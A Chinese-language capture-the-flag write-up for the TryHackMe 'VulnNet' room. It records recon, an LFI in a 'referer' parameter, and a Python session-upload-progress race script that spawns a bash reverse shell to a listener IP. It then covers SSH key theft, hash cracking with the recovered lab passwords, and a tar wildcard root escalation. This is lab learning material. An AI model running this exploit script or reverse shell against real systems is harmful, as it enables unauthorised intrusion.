URL : https://tryhackme.com/room/vulnnet1
IP : 10.10.86.144
- 題目敘述
You will have to add a machine IP with domain vulnnet.thm to your /etc/hosts
Recon
- 掃 Port
rustscan -a 10.10.86.144 -r 1-65535
nmap -A -p22,80 10.10.86.144
- 掃目錄
python3 dirsearch.py -u http://10.10.86.144/
- 發現登入頁面
- 戳了常見的 SQLi 都不行
- 觀察網頁連結
- 透過 js formatter 轉漂亮
broadcast.vulnnet.thm
- 加到
/etc/hosts
- 前面的階段也可以用
LinkFinder
python3 linkfinder.py -i http://vulnnet.thm/
python3 linkfinder.py -i http://vulnnet.thm/js/index__d8338055.js
- 發現首頁可以帶一個
?referer
參數
- 發現首頁可以帶一個
- 訪問
broadcast.vulnnet.thm
- 發現需要登入
- 觀察首頁
referer
參數- 發現可以 LFI
- 用 Session upload progress 大法
- 發現可以 LFI
import grequests
sess_name = 'meowmeow'
sess_path = f'/var/lib/php/sessions/sess_{sess_name}'
base_url = 'http://vulnnet.thm/index.php'
param = "referer"
#code = "file_put_contents('/tmp/shell.php','<?php system($_GET[a])');"
code = '''system("bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'");'''
while True:
req = [grequests.post(base_url,
files={'f': "A"*0xffff},
data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:<?php {code} ?>"},
cookies={'PHPSESSID': sess_name}),
grequests.get(f"{base_url}?{param}={sess_path}")]
result = grequests.map(req)
if "pwned" in result[1].text:
print(result[1].text)
break
- 然後就 RCE 了
- (感覺就不是正規解…ㄏㄏ
提權
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 掃豌豆
- 找到 backup
- 找到 backup
- 觀察 backup 檔案,發現有 ssh-backup
- 偷出來
- 解壓縮
- 發現是
id_rsa
- 發現是
- 到家目錄看使用者名稱
server-management
- 發現是
server-management
- 發現是
- 準備 ssh 登入
- 發現
id_rsa
需要密碼 QQ
- 發現
- 用約翰爆破
python3 ../../ssh2john.py id_rsa > id_rsa_john
- 密碼是
oneTWO3gOyac
- SSH 登入
- 取得 user flag
- 跑豌豆掃到
.htpasswd
密碼的 hash- 猜測應該是給
broadcast.vulnnet.thm
用的 - 用約翰爆破個
- 密碼是
`9972761drmfsls
- 密碼是
- 猜測原始思路正規解法應該是 LFI 到這個檔案
- 猜測應該是給
- 訪問 broadcast.vulnnet.thm
- 使用帳號
developers
- 密碼
9972761drmfsls
- 推測這應該是某個有 RCE 洞的 CMS
- 正規解是從這邊進 RCE ㄅ
- 隨便
- 使用帳號
二次提權
- 想起前面的 Backup 用了
tar *
- 所以可以快速提權
- 接 Shell
- 取 Root Flag